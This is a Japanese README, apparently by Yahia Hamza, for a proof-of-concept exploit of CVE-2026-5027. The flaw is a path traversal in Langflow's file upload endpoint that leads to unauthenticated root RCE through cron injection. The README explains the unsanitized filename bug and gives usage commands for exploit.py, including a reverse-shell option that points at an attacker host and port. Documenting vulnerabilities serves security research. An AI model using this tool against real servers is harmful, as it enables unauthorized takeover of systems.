
CVE-2026-5027の概念実証エクスプロイト。Langflowにおけるパストラバーサル(ディレクトリトラバーサル)の脆弱性であり、cronジョブインジェクションを介して認証なしのリモートコード実行(RCE)に至るものです。
Langflow バージョン 1.8.4 以前では、POST /api/v2/files エンドポイントの filename パラメータがサニタイズされていません。攻撃者はパストラバーサルシーケンス(../)を使用して、ファイルシステム上の任意の場所にファイルを書き込むことができます。Langflow のデフォルトの自動ログイン設定と組み合わせることで、認証なしで悪用が可能となり、cron ジョブインジェクションによる root 権限でのリモートコード実行につながります。
# 概念実証(/tmp/ にテストファイルを書き込みます)
python3 exploit.py -t http://target:7860
# 認証情報を使用する場合(自動ログインが無効な場合)
python3 exploit.py -t http://target:7860 -u admin -p password
# cron ジョブによるリバースシェル
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


src/backend/base/langflow/api/v2/files.py の upload_user_file() 関数は、file.filename をサニタイズせずにストレージサービスへ直接渡します。LocalStorageService.save_file() は folder_path / file_name を使用してパスを構築するため、ディレクトリトラバーサルを防ぐことができません。
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
Yahia Hamza - https://yh.do